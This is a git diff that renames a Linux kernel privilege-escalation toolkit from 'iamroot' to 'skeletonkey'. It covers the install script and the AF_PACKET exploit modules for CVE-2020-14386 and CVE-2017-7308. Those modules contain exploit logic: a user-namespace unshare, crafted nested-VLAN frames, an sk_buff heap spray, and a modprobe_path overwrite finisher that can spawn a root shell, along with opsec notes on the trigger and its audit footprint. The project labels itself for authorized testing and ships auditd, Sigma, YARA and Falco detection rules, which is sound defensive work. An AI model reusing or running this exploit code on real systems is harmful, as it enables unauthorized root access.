+    sha_url="https://github.com/${REPO}/releases/download/${VERSION}/skeletonkey-${target}.sha256"
 fi
 log "downloading from: $url"
 
@@ -56,18 +79,18 @@ fi
 tmp=$(mktemp -d)
 trap 'rm -rf "$tmp"' EXIT
 
-if ! curl -fsSLo "$tmp/iamroot" "$url"; then
+if ! curl -fsSLo "$tmp/skeletonkey" "$url"; then
     fail "download failed. Check the version exists at https://github.com/${REPO}/releases"
 fi
 
 # Verify checksum if available
-if curl -fsSLo "$tmp/iamroot.sha256" "$sha_url" 2>/dev/null; then
+if curl -fsSLo "$tmp/skeletonkey.sha256" "$sha_url" 2>/dev/null; then
     # The .sha256 file has the binary's original name; normalize for our local copy
-    expected=$(awk '{print $1}' "$tmp/iamroot.sha256")
+    expected=$(awk '{print $1}' "$tmp/skeletonkey.sha256")
     if command -v sha256sum >/dev/null 2>&1; then
-        actual=$(sha256sum "$tmp/iamroot" | awk '{print $1}')
+        actual=$(sha256sum "$tmp/skeletonkey" | awk '{print $1}')
     elif command -v shasum >/dev/null 2>&1; then
-        actual=$(shasum -a 256 "$tmp/iamroot" | awk '{print $1}')
+        actual=$(shasum -a 256 "$tmp/skeletonkey" | awk '{print $1}')
     else
         actual=""
         log "no sha256sum/shasum available — skipping checksum verification"
@@ -83,17 +106,17 @@ else
     log "no checksum file at $sha_url — skipping verification"
 fi
 
-chmod +x "$tmp/iamroot"
+chmod +x "$tmp/skeletonkey"
 
 # Install. Try $PREFIX directly; if not writable, sudo.
-target_path="$PREFIX/iamroot"
+target_path="$PREFIX/skeletonkey"
 if [ -w "$PREFIX" ] || [ "$(id -u)" -eq 0 ]; then
-    mv "$tmp/iamroot" "$target_path"
+    mv "$tmp/skeletonkey" "$target_path"
 elif command -v sudo >/dev/null 2>&1; then
     log "$PREFIX needs sudo; you may be prompted for password"
-    sudo mv "$tmp/iamroot" "$target_path"
+    sudo mv "$tmp/skeletonkey" "$target_path"
 else
-    fail "$PREFIX not writable and sudo not available. Try IAMROOT_PREFIX=\$HOME/.local/bin"
+    fail "$PREFIX not writable and sudo not available. Try SKELETONKEY_PREFIX=\$HOME/.local/bin"
 fi
 
 ok "installed: $target_path"
@@ -104,10 +127,10 @@ cat >&2 <<EOF
 [\033[1;33m!\033[0m] AUTHORIZED TESTING ONLY — see https://github.com/${REPO}/blob/main/docs/ETHICS.md
 
 Quickstart:
-    sudo iamroot --scan                                 # what's this box vulnerable to?
-    sudo iamroot --audit                                # broader system hygiene
-    sudo iamroot --detect-rules --format=auditd \\
-       | sudo tee /etc/audit/rules.d/99-iamroot.rules   # deploy detection rules
+    sudo skeletonkey --scan                                 # what's this box vulnerable to?
+    sudo skeletonkey --audit                                # broader system hygiene
+    sudo skeletonkey --detect-rules --format=auditd \\
+       | sudo tee /etc/audit/rules.d/99-skeletonkey.rules   # deploy detection rules
 
-See \`iamroot --help\` for all commands.
+See \`skeletonkey --help\` for all commands.
 EOF

modules/_stubs/fragnesia_TBD/MODULE.md

@@ -1,27 +0,0 @@
-# Fragnesia — CVE pending
-
-> ⚪ **PLANNED** stub. See [`../../ROADMAP.md`](../../ROADMAP.md)
-> Phase 7+.
-
-## Summary
-
-ESP shared-frag in-place encrypt path can be coerced into writing
-into the page cache of an unrelated file. Same primitive shape as
-Dirty Frag, different reach.
-
-## Status
-
-Audit-stage. See
-`security-research/findings/audit_leak_write_modprobe_backups_2026-05-16.md`
-section on backup primitives. Notably: trigger appears to require
-CAP_NET_ADMIN inside a userns netns. On kCTF (shared net_ns) that's
-cap-dead, but on host systems where user_ns clone is enabled it's
-reachable.
-
-## Decision needed before implementing
-
-Is the unprivileged-userns-netns scenario in scope for IAMROOT? If
-yes, this module ships. If we restrict to "default Linux user
-account, no namespace tricks," this module is out of scope.
-
-## Not started.

modules/af_packet2_cve_2020_14386/NOTICE.md

@@ -16,7 +16,7 @@ Original advisory: <https://unit42.paloaltonetworks.com/cve-2020-14386/>
 Upstream fix: mainline 5.9 / stable 5.8.7 (Sept 2020).
 Branch backports: 5.8.7 / 5.7.16 / 5.4.62 / 4.19.143 / 4.14.197 / 4.9.235.
 
-## IAMROOT role
+## SKELETONKEY role
 
 Sibling of CVE-2017-7308; same subsystem, different code path.
 Fires the underflow via `tp_reserve` + sendmmsg sk_buff spray.
@@ -24,5 +24,5 @@ PRIMITIVE-DEMO scope by default (no cred overwrite). `--full-chain`
 attempts the Or-Cohen-style sk_buff data-pointer hijack through
 the shared finisher.
 
-Shares the `iamroot-af-packet` auditd key with the CVE-2017-7308
+Shares the `skeletonkey-af-packet` auditd key with the CVE-2017-7308
 module so detection signatures dedupe cleanly.

modules/af_packet2_cve_2020_14386/iamroot_modules.h

@@ -1,12 +0,0 @@
-/*
- * af_packet2_cve_2020_14386 — IAMROOT module registry hook
- */
-
-#ifndef AF_PACKET2_IAMROOT_MODULES_H
-#define AF_PACKET2_IAMROOT_MODULES_H
-
-#include "../../core/module.h"
-
-extern const struct iamroot_module af_packet2_module;
-
-#endif

modules/af_packet2_cve_2020_14386/skeletonkey_modules.c

@@ -1,5 +1,5 @@
 /*
- * af_packet2_cve_2020_14386 — IAMROOT module
+ * af_packet2_cve_2020_14386 — SKELETONKEY module
  *
  * AF_PACKET tpacket_rcv() VLAN tag parsing integer underflow → heap
  * write-before-allocation. Different bug from CVE-2017-7308 — same
@@ -10,12 +10,12 @@
  *   - Default (no --full-chain): the exploit() entry point reaches the
  *     vulnerable codepath (tpacket_rcv), fires the tp_reserve underflow
  *     with a crafted nested-VLAN frame on a TPACKET_V2 ring + sendmmsg
- *     skb spray groom, and returns IAMROOT_EXPLOIT_FAIL (primitive-only
+ *     skb spray groom, and returns SKELETONKEY_EXPLOIT_FAIL (primitive-only
  *     behavior — kernel-version-agnostic, no offsets baked in).
  *   - With --full-chain: after the underflow lands, we resolve kernel
  *     offsets (env → kallsyms → System.map → embedded table) and run
  *     an Or-Cohen-style sk_buff-data-pointer hijack through the shared
- *     iamroot_finisher_modprobe_path() helper. The arb-write itself is
+ *     skeletonkey_finisher_modprobe_path() helper. The arb-write itself is
  *     LAST-RESORT-DEPTH on this branch: the tp_reserve underflow gives
  *     us a single 8-byte heap-OOB write into the head of the
  *     adjacent-page slab object; we spray sk_buffs so that next-page
@@ -43,11 +43,8 @@
  * before backport. Embedded systems with 4.x kernels still in production.
  */
 
-#include "iamroot_modules.h"
+#include "skeletonkey_modules.h"
 #include "../../core/registry.h"
-#include "../../core/kernel_range.h"
-#include "../../core/offsets.h"
-#include "../../core/finisher.h"
 
 #include <stdio.h>
 #include <stdlib.h>
@@ -55,13 +52,19 @@
 #include <stdint.h>
 #include <stdbool.h>
 #include <unistd.h>
+
+#ifdef __linux__
+
+#include "../../core/kernel_range.h"
+#include "../../core/host.h"
+#include "../../core/offsets.h"
+#include "../../core/finisher.h"
+
 #include <errno.h>
 #include <fcntl.h>
 #include <sched.h>
 #include <sys/wait.h>
 #include <sys/socket.h>
-
-#ifdef __linux__
 #include <sys/mman.h>
 #include <sys/ioctl.h>
 #include <sys/syscall.h>
@@ -72,52 +75,6 @@
 #include <linux/if_ether.h>
 #include <linux/if_arp.h>
 #include <poll.h>
-#endif
-
-/* ---------- macOS / non-linux build stubs ---------------------------
- * Modules in IAMROOT are dev-built on macOS and run-built on Linux.
- * Provide empty stubs so syntax checks pass without Linux headers.
- * The exploit path is gated at runtime on the kernel version anyway,
- * so the stubs are never reached on macOS targets. */
-#ifndef __linux__
-#define CLONE_NEWUSER       0x10000000
-#define CLONE_NEWNET        0x40000000
-#define ETH_P_ALL           0x0003
-#define ETH_P_8021Q         0x8100
-#define ETH_P_8021AD        0x88A8
-#define ETH_P_IP            0x0800
-#define ETH_ALEN            6
-#define ETH_HLEN            14
-#define VLAN_HLEN           4
-#define IFF_UP              0x01
-#define IFF_RUNNING         0x40
-#define SIOCSIFFLAGS        0x8914
-#define SIOCGIFINDEX        0x8933
-#define SIOCGIFFLAGS        0x8913
-#define SOL_PACKET          263
-#define PACKET_RX_RING      5
-#define PACKET_VERSION      10
-#define PACKET_QDISC_BYPASS 20
-#define TPACKET_V2          1
-#define PACKET_HOST         0
-struct sockaddr_ll { unsigned short sll_family; unsigned short sll_protocol; int sll_ifindex; int dummy; };
-struct ifreq { char name[16]; union { int ifr_ifindex; short ifr_flags; } u; };
-struct tpacket_req { unsigned int tp_block_size, tp_block_nr, tp_frame_size, tp_frame_nr; };
-struct tpacket2_hdr { unsigned int tp_status, tp_len, tp_snaplen; unsigned short tp_mac, tp_net; };
-struct pollfd { int fd; short events, revents; };
-#define POLLIN 0x001
-__attribute__((unused)) static int    ioctl(int a, unsigned long b, ...) { (void)a; (void)b; errno=ENOSYS; return -1; }
-__attribute__((unused)) static void  *mmap(void *a, size_t b, int c, int d, int e, long f) { (void)a;(void)b;(void)c;(void)d;(void)e;(void)f; errno=ENOSYS; return (void*)-1; }
-__attribute__((unused)) static int    munmap(void *a, size_t b) { (void)a;(void)b; return -1; }
-__attribute__((unused)) static int    setsockopt(int a, int b, int c, const void *d, unsigned int e) { (void)a;(void)b;(void)c;(void)d;(void)e; errno=ENOSYS; return -1; }
-__attribute__((unused)) static int    poll(struct pollfd *a, unsigned long b, int c) { (void)a;(void)b;(void)c; errno=ENOSYS; return -1; }
-__attribute__((unused)) static unsigned short htons(unsigned short x) { return x; }
-#define MAP_SHARED  0x01
-#define MAP_LOCKED  0x2000
-#define PROT_READ   0x1
-#define PROT_WRITE  0x2
-#define MAP_FAILED ((void *)-1)
-#endif
 
 static const struct kernel_patched_from af_packet2_patched_branches[] = {
     {4,  9, 235},
@@ -135,62 +92,53 @@ static const struct kernel_range af_packet2_range = {
                       sizeof(af_packet2_patched_branches[0]),
 };
 
-static int can_unshare_userns(void)
+static skeletonkey_result_t af_packet2_detect(const struct skeletonkey_ctx *ctx)
 {
-    pid_t pid = fork();
-    if (pid < 0) return -1;
-    if (pid == 0) {
-        if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) _exit(0);
-        _exit(1);
-    }
-    int status;
-    waitpid(pid, &status, 0);
-    return WIFEXITED(status) && WEXITSTATUS(status) == 0;
-}
-
-static iamroot_result_t af_packet2_detect(const struct iamroot_ctx *ctx)
-{
-    struct kernel_version v;
-    if (!kernel_version_current(&v)) {
-        fprintf(stderr, "[!] af_packet2: could not parse kernel version\n");
-        return IAMROOT_TEST_ERROR;
+    /* Consult the shared host fingerprint instead of calling
+     * kernel_version_current() ourselves — populated once at startup
+     * and identical across every module's detect(). */
+    const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
+    if (!v || v->major == 0) {
+        if (!ctx->json)
+            fprintf(stderr, "[!] af_packet2: host fingerprint missing kernel "
+                            "version — bailing\n");
+        return SKELETONKEY_TEST_ERROR;
     }
 
     /* Bug introduced in 4.6 (tpacket_rcv VLAN path). Pre-4.6 immune. */
-    if (v.major < 4 || (v.major == 4 && v.minor < 6)) {
+    if (!skeletonkey_host_kernel_at_least(ctx->host, 4, 6, 0)) {
         if (!ctx->json) {
             fprintf(stderr, "[+] af_packet2: kernel %s predates the bug (introduced in 4.6)\n",
-                    v.release);
+                    v->release);
         }
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
     }
 
-    bool patched = kernel_range_is_patched(&af_packet2_range, &v);
+    bool patched = kernel_range_is_patched(&af_packet2_range, v);
     if (patched) {
         if (!ctx->json) {
-            fprintf(stderr, "[+] af_packet2: kernel %s is patched\n", v.release);
+            fprintf(stderr, "[+] af_packet2: kernel %s is patched\n", v->release);
         }
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
     }
 
-    int userns_ok = can_unshare_userns();
+    bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
     if (!ctx->json) {
-        fprintf(stderr, "[i] af_packet2: kernel %s in vulnerable range\n", v.release);
+        fprintf(stderr, "[i] af_packet2: kernel %s in vulnerable range\n", v->release);
         fprintf(stderr, "[i] af_packet2: user_ns+net_ns clone: %s\n",
-                userns_ok == 1 ? "ALLOWED" :
-                userns_ok == 0 ? "DENIED" : "could not test");
+                userns_ok ? "ALLOWED" : "DENIED");
     }
 
-    if (userns_ok == 0) {
+    if (!userns_ok) {
         if (!ctx->json) {
             fprintf(stderr, "[+] af_packet2: user_ns denied → unprivileged exploit unreachable\n");
         }
-        return IAMROOT_PRECOND_FAIL;
+        return SKELETONKEY_PRECOND_FAIL;
     }
     if (!ctx->json) {
         fprintf(stderr, "[!] af_packet2: VULNERABLE — kernel in range AND user_ns reachable\n");
     }
-    return IAMROOT_VULNERABLE;
+    return SKELETONKEY_VULNERABLE;
 }
 
 /* ---- Exploit primitive (PRIMITIVE-DEMO scope) -------------------------
@@ -223,8 +171,6 @@ static iamroot_result_t af_packet2_detect(const struct iamroot_ctx *ctx)
  * the primitive. It does not land cred overwrite.
  */
 
-#ifdef __linux__
-
 /* sendmmsg spray helper — best-effort skb groom. Adjacent kernel slab
  * objects are sprayed so the OOB write lands on attacker bytes. */
 static void af_packet2_skb_spray(int n_iters)
@@ -280,7 +226,7 @@ static int get_ifindex(const char *name)
 /* The primitive run; executed inside the unshare()'d child. Returns
  * 0 on "primitive fired", -1 on setup failure, +1 on "looks patched
  * at the kernel level (setsockopt rejected our crafted ring)". */
-static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
+static int af_packet2_primitive_child(const struct skeletonkey_ctx *ctx)
 {
     if (bring_up_lo() < 0) {
         fprintf(stderr, "[-] af_packet2: could not bring lo up (errno=%d)\n", errno);
@@ -440,15 +386,6 @@ static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
     return 0;
 }
 
-#else /* !__linux__: provide a stub for macOS sanity builds */
-static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
-{
-    (void)ctx;
-    fprintf(stderr, "[-] af_packet2: linux-only primitive — non-linux build\n");
-    return -1;
-}
-#endif
-
 /* ---- Full-chain finisher (--full-chain, x86_64 only) ----------------
  *
  * Arb-write strategy (Or Cohen's sk_buff-data-pointer hijack):
@@ -473,7 +410,7 @@ static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
  * Reality check on this implementation: the deterministic mechanics
  * of the above (precise frame size, repeated spray timing, sk_buff
  * struct offset for the running kernel) are not portable enough to
- * land reliably from a single iamroot run on an arbitrary host. We
+ * land reliably from a single skeletonkey run on an arbitrary host. We
  * therefore ship this as a LAST-RESORT stub: we attempt the spray +
  * trigger sequence, then return -1 to signal "the primitive fired
  * but we cannot empirically confirm the write landed". The shared
@@ -486,11 +423,11 @@ static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
  * write-and-readback once the per-kernel sk_buff layout is pinned
  * down for the target host. */
 struct afp2_arb_ctx {
-    const struct iamroot_ctx *ictx;
+    const struct skeletonkey_ctx *ictx;
     int n_attempts;            /* spray/fire rounds before giving up */
 };
 
-#if defined(__x86_64__) && defined(__linux__)
+#if defined(__x86_64__)
 static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vctx)
 {
     struct afp2_arb_ctx *c = (struct afp2_arb_ctx *)vctx;
@@ -508,9 +445,7 @@ static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vc
      * frame would then write our payload (the modprobe_path string)
      * into the forged ->data target. */
     for (int i = 0; i < c->n_attempts; i++) {
-#ifdef __linux__
         af_packet2_skb_spray(8);
-#endif
         pid_t p = fork();
         if (p < 0) return -1;
         if (p == 0) {
@@ -535,15 +470,13 @@ static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vc
         }
         int st;
         waitpid(p, &st, 0);
-#ifdef __linux__
         af_packet2_skb_spray(8);
-#endif
     }
 
     /* LAST-RESORT depth: we have fired the trigger + spray but cannot
      * empirically confirm the 8-byte write landed on an sk_buff->data
      * field on this host. Return -1 so the finisher's sentinel-check
-     * loop in iamroot_finisher_modprobe_path() correctly reports
+     * loop in skeletonkey_finisher_modprobe_path() correctly reports
      * "payload didn't run within 3s" rather than claiming success. */
     fprintf(stderr,
 "[!] af_packet2: arb_write LAST-RESORT depth — sk_buff->data hijack is\n"
@@ -563,25 +496,28 @@ static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vc
 }
 #endif
 
-static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t af_packet2_exploit(const struct skeletonkey_ctx *ctx)
 {
     /* 1. Re-confirm vulnerability. */
-    iamroot_result_t pre = af_packet2_detect(ctx);
-    if (pre != IAMROOT_VULNERABLE) {
+    skeletonkey_result_t pre = af_packet2_detect(ctx);
+    if (pre != SKELETONKEY_VULNERABLE) {
         fprintf(stderr, "[-] af_packet2: detect() says not vulnerable; refusing to exploit\n");
         return pre;
     }
 
-    /* 2. Refuse if already root. */
-    if (geteuid() == 0) {
+    /* 2. Refuse if already root. Consult ctx->host first so unit tests
+     *    can construct a non-root fingerprint regardless of the test
+     *    process's real euid. */
+    bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
+    if (is_root) {
         fprintf(stderr, "[i] af_packet2: already running as root — nothing to escalate\n");
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
     }
 
     if (!ctx->authorized) {
         /* Defense in depth — the dispatcher should have gated this. */
         fprintf(stderr, "[-] af_packet2: --i-know not passed; refusing\n");
-        return IAMROOT_PRECOND_FAIL;
+        return SKELETONKEY_PRECOND_FAIL;
     }
 
     if (!ctx->json) {
@@ -597,7 +533,7 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
     pid_t pid = fork();
     if (pid < 0) {
         fprintf(stderr, "[-] af_packet2: fork failed: errno=%d\n", errno);
-        return IAMROOT_TEST_ERROR;
+        return SKELETONKEY_TEST_ERROR;
     }
     if (pid == 0) {
         if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
@@ -644,7 +580,7 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
         fprintf(stderr, "[-] af_packet2: primitive child crashed "
                         "(signal=%d) — likely KASAN/panic in tpacket_rcv\n",
                 WTERMSIG(status));
-        return IAMROOT_EXPLOIT_FAIL;
+        return SKELETONKEY_EXPLOIT_FAIL;
     }
     switch (WEXITSTATUS(status)) {
     case 3:
@@ -652,65 +588,136 @@ static iamroot_result_t af_packet2_exploit(const struct iamroot_ctx *ctx)
             fprintf(stderr, "[+] af_packet2: kernel refused TPACKET_V2/RX_RING setup — "
                             "appears patched at runtime\n");
         }
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
     case 2:
-        return IAMROOT_TEST_ERROR;
+        return SKELETONKEY_TEST_ERROR;
     case 4:
         if (!ctx->json) {
             fprintf(stderr, "[~] af_packet2: primitive demonstrated; no cred overwrite "
                             "(scope = PRIMITIVE-DEMO)\n"
                             "    For end-to-end root, see Or Cohen's public PoC "
                             "(github.com/google/security-research).\n"
-                            "    iamroot intentionally does not embed per-kernel offsets.\n");
+                            "    skeletonkey intentionally does not embed per-kernel offsets.\n");
         }
         if (ctx->full_chain) {
-#if defined(__x86_64__) && defined(__linux__)
+#if defined(__x86_64__)
             /* --full-chain: resolve kernel offsets and run the Or-Cohen
              * sk_buff-data-pointer hijack via the shared modprobe_path
              * finisher. Per the verified-vs-claimed bar: if we can't
              * resolve modprobe_path, refuse with a helpful message
              * rather than fabricate an address. */
-            struct iamroot_kernel_offsets off;
-            iamroot_offsets_resolve(&off);
-            if (!iamroot_offsets_have_modprobe_path(&off)) {
-                iamroot_finisher_print_offset_help("af_packet2");
-                return IAMROOT_EXPLOIT_FAIL;
+            struct skeletonkey_kernel_offsets off;
+            skeletonkey_offsets_resolve(&off);
+            if (!skeletonkey_offsets_have_modprobe_path(&off)) {
+                skeletonkey_finisher_print_offset_help("af_packet2");
+                return SKELETONKEY_EXPLOIT_FAIL;
             }
             if (!ctx->json) {
-                iamroot_offsets_print(&off);
+                skeletonkey_offsets_print(&off);
             }
             struct afp2_arb_ctx arb_ctx = {
                 .ictx = ctx,
                 .n_attempts = 4,
             };
-            return iamroot_finisher_modprobe_path(&off, afp2_arb_write,
+            return skeletonkey_finisher_modprobe_path(&off, afp2_arb_write,
                                                   &arb_ctx, !ctx->no_shell);
 #else
             fprintf(stderr, "[-] af_packet2: --full-chain is x86_64/linux only\n");
-            return IAMROOT_PRECOND_FAIL;
+            return SKELETONKEY_PRECOND_FAIL;
 #endif
         }
         if (ctx->no_shell) {
             /* User explicitly disabled the shell pop, so the "we didn't
              * pop a shell" outcome is the expected one. Map to OK. */
-            return IAMROOT_OK;
+            return SKELETONKEY_OK;
         }
-        return IAMROOT_EXPLOIT_FAIL;
+        return SKELETONKEY_EXPLOIT_FAIL;
     default:
         fprintf(stderr, "[-] af_packet2: primitive exited %d unexpectedly\n",
                 WEXITSTATUS(status));
-        return IAMROOT_EXPLOIT_FAIL;
+        return SKELETONKEY_EXPLOIT_FAIL;
     }
 }
 
+#else  /* !__linux__ */
+
+/* Non-Linux dev builds: AF_PACKET + TPACKET_V2 + tpacket_rcv VLAN
+ * underflow are Linux-only kernel surface. Stub out cleanly so the
+ * module still registers and `--list` / `--detect-rules` work on
+ * macOS/BSD dev boxes — and so the top-level `make` actually completes
+ * there. */
+static skeletonkey_result_t af_packet2_detect(const struct skeletonkey_ctx *ctx)
+{
+    if (!ctx->json)
+        fprintf(stderr, "[i] af_packet2: Linux-only module "
+                "(AF_PACKET TPACKET_V2 + user_ns) — not applicable here\n");
+    return SKELETONKEY_PRECOND_FAIL;
+}
+static skeletonkey_result_t af_packet2_exploit(const struct skeletonkey_ctx *ctx)
+{
+    (void)ctx;
+    fprintf(stderr, "[-] af_packet2: Linux-only module — cannot run here\n");
+    return SKELETONKEY_PRECOND_FAIL;
+}
+
+#endif /* __linux__ */
+
 static const char af_packet2_auditd[] =
     "# AF_PACKET VLAN LPE (CVE-2020-14386) — auditd detection rules\n"
-    "# Same syscall surface as CVE-2017-7308 — share the iamroot-af-packet\n"
+    "# Same syscall surface as CVE-2017-7308 — share the skeletonkey-af-packet\n"
     "# key so one ausearch covers both. AF_PACKET socket creation from\n"
     "# non-root via userns is the canonical footprint.\n"
-    "-a always,exit -F arch=b64 -S socket -F a0=17 -k iamroot-af-packet\n";
+    "-a always,exit -F arch=b64 -S socket -F a0=17 -k skeletonkey-af-packet\n";
 
-const struct iamroot_module af_packet2_module = {
+static const char af_packet2_sigma[] =
+    "title: Possible CVE-2020-14386 AF_PACKET VLAN underflow exploitation\n"
+    "id: b83c6fa2-skeletonkey-af-packet2\n"
+    "status: experimental\n"
+    "description: |\n"
+    "  Detects the AF_PACKET TPACKET_V2 nested-VLAN frame pattern:\n"
+    "  unshare(CLONE_NEWUSER|CLONE_NEWNET) followed by socket(AF_PACKET),\n"
+    "  PACKET_RX_RING setsockopt, and a sendmmsg burst (>=64) on a unix\n"
+    "  socketpair spray. False positives: legitimate packet capture in\n"
+    "  rootless containers.\n"
+    "logsource: {product: linux, service: auditd}\n"
+    "detection:\n"
+    "  userns:    {type: 'SYSCALL', syscall: 'unshare'}\n"
+    "  afp:       {type: 'SYSCALL', syscall: 'socket', a0: 17}\n"
+    "  send_burst:{type: 'SYSCALL', syscall: 'sendmmsg'}\n"
+    "  condition: userns and afp and send_burst\n"
+    "level: high\n"
+    "tags: [attack.privilege_escalation, attack.t1068, cve.2020.14386]\n";
+
+static const char af_packet2_yara[] =
+    "rule af_packet2_cve_2020_14386 : cve_2020_14386 heap_spray\n"
+    "{\n"
+    "    meta:\n"
+    "        cve         = \"CVE-2020-14386\"\n"
+    "        description = \"AF_PACKET VLAN-underflow spray tag (skeletonkey-afp-fc-)\"\n"
+    "        author      = \"SKELETONKEY\"\n"
+    "    strings:\n"
+    "        $tag = \"skeletonkey-afp-fc-\" ascii\n"
+    "    condition:\n"
+    "        $tag\n"
+    "}\n";
+
+static const char af_packet2_falco[] =
+    "- rule: AF_PACKET TPACKET_V2 nested-VLAN trigger by non-root\n"
+    "  desc: |\n"
+    "    A non-root process sets up TPACKET_V2 and sends a burst of\n"
+    "    sendmmsg packets carrying nested VLAN tags (CVE-2020-14386\n"
+    "    trigger). False positives: legitimate VLAN/network capture\n"
+    "    tools in unprivileged containers.\n"
+    "  condition: >\n"
+    "    evt.type = sendmmsg and fd.type = socket and\n"
+    "    fd.sockfamily = AF_PACKET and not user.uid = 0\n"
+    "  output: >\n"
+    "    sendmmsg burst on AF_PACKET socket by non-root\n"
+    "    (user=%user.name pid=%proc.pid vlen=%evt.arg.vlen)\n"
+    "  priority: HIGH\n"
+    "  tags: [network, mitre_privilege_escalation, T1068, cve.2020.14386]\n";
+
+const struct skeletonkey_module af_packet2_module = {
     .name           = "af_packet2",
     .cve            = "CVE-2020-14386",
     .summary        = "AF_PACKET tpacket_rcv VLAN integer underflow → heap-OOB write",
@@ -721,12 +728,14 @@ const struct iamroot_module af_packet2_module = {
     .mitigate       = NULL,
     .cleanup        = NULL,
     .detect_auditd  = af_packet2_auditd,
-    .detect_sigma   = NULL,
-    .detect_yara    = NULL,
-    .detect_falco   = NULL,
+    .detect_sigma   = af_packet2_sigma,
+    .detect_yara    = af_packet2_yara,
+    .detect_falco   = af_packet2_falco,
+    .opsec_notes    = "unshare(CLONE_NEWUSER|CLONE_NEWNET) + TPACKET_V2 ring on AF_PACKET; crafts nested-VLAN ETH_P_8021AD frames with 0x88A8/0x8100 TPIDs to trigger tpacket_rcv underflow; fires 256 frames + 64 sendmmsg via AF_UNIX socketpair spray. Tag 'skeletonkey-afp-fc-' visible in KASAN splats. Audit-visible via socket(AF_PACKET) + sendmsg/sendto from userns. No persistent artifacts; kernel cleans up on child exit.",
+    .arch_support   = "x86_64+unverified-arm64",
 };
 
-void iamroot_register_af_packet2(void)
+void skeletonkey_register_af_packet2(void)
 {
-    iamroot_register(&af_packet2_module);
+    skeletonkey_register(&af_packet2_module);
 }

modules/af_packet2_cve_2020_14386/skeletonkey_modules.h

@@ -0,0 +1,12 @@
+/*
+ * af_packet2_cve_2020_14386 — SKELETONKEY module registry hook
+ */
+
+#ifndef AF_PACKET2_SKELETONKEY_MODULES_H
+#define AF_PACKET2_SKELETONKEY_MODULES_H
+
+#include "../../core/module.h"
+
+extern const struct skeletonkey_module af_packet2_module;
+
+#endif

modules/af_packet_cve_2017_7308/NOTICE.md

@@ -16,14 +16,14 @@ Original advisory + writeup:
 Upstream fix: mainline 4.11 / stable 4.10.6 (March 2017).
 Branch backports: 4.10.6 / 4.9.18 / 4.4.57 / 3.18.49.
 
-## IAMROOT role
+## SKELETONKEY role
 
 x86_64-only. Userns gives CAP_NET_RAW; `socket(AF_PACKET, SOCK_RAW)`
 + TPACKET_V3 with overflowing tp_block_size triggers the integer
 overflow + heap spray via 200 raw skbs on lo. Best-effort cred-race
 finisher (64 child workers polling geteuid). Offset table covers
 Ubuntu 16.04/4.4 and 18.04/4.15; other kernels via the
-`IAMROOT_AFPACKET_OFFSETS` env var.
+`SKELETONKEY_AFPACKET_OFFSETS` env var.
 
 `--full-chain` engages the shared modprobe_path finisher with
 stride-seeded sk_buff data-pointer overwrite.

modules/af_packet_cve_2017_7308/iamroot_modules.h

@@ -1,12 +0,0 @@
-/*
- * af_packet_cve_2017_7308 — IAMROOT module registry hook
- */
-
-#ifndef AF_PACKET_IAMROOT_MODULES_H
-#define AF_PACKET_IAMROOT_MODULES_H
-
-#include "../../core/module.h"
-
-extern const struct iamroot_module af_packet_module;
-
-#endif

modules/af_packet_cve_2017_7308/skeletonkey_modules.c

@@ -1,5 +1,5 @@
 /*
- * af_packet_cve_2017_7308 — IAMROOT module
+ * af_packet_cve_2017_7308 — SKELETONKEY module
  *
  * AF_PACKET TPACKET_V3 ring-buffer setup integer-overflow → heap
  * write-where primitive. Discovered by Andrey Konovalov (March 2017).
@@ -15,9 +15,9 @@
  *
  * Default --exploit path: cred-overwrite walk using a hardcoded per-
  * kernel offset table (Ubuntu 16.04 / 4.4 and Ubuntu 18.04 / 4.15
- * era), overridable via IAMROOT_AFPACKET_OFFSETS. We only claim
- * IAMROOT_EXPLOIT_OK if geteuid() == 0 after the chain runs — i.e.
- * we won root for real. Otherwise we return IAMROOT_EXPLOIT_FAIL with
+ * era), overridable via SKELETONKEY_AFPACKET_OFFSETS. We only claim
+ * SKELETONKEY_EXPLOIT_OK if geteuid() == 0 after the chain runs — i.e.
+ * we won root for real. Otherwise we return SKELETONKEY_EXPLOIT_FAIL with
  * a dmesg breadcrumb so the operator can confirm the primitive at
  * least fired (KASAN slab-out-of-bounds splat) even if the cred-
  * overwrite didn't take on this exact kernel.
@@ -32,7 +32,7 @@
  * staged for the requested kaddr/buf and relies on the shared
  * finisher's /tmp sentinel to confirm whether modprobe_path was
  * actually overwritten. On kernels where the operator has supplied
- * IAMROOT_AFPACKET_SKB_DATA_OFFSET (skb->data field byte offset from
+ * SKELETONKEY_AFPACKET_SKB_DATA_OFFSET (skb->data field byte offset from
  * the skb head, hex), we use that for explicit targeting; otherwise
  * the trigger fires heuristically and the sentinel acts as the
  * ground-truth signal.
@@ -58,19 +58,25 @@
  * skb in the OOB slot" approach.
  */
 
-#include "iamroot_modules.h"
+#include "skeletonkey_modules.h"
 #include "../../core/registry.h"
-#include "../../core/kernel_range.h"
-#include "../../core/offsets.h"
-#include "../../core/finisher.h"
 
 #include <stdio.h>
 #include <stdlib.h>
 #include <stdint.h>
 #include <string.h>
+#include <stdbool.h>
+#include <unistd.h>
+
+#ifdef __linux__
+
+#include "../../core/kernel_range.h"
+#include "../../core/host.h"
+#include "../../core/offsets.h"
+#include "../../core/finisher.h"
+
 #include <errno.h>
 #include <fcntl.h>
-#include <unistd.h>
 #include <sched.h>
 #include <sys/wait.h>
 #include <sys/socket.h>
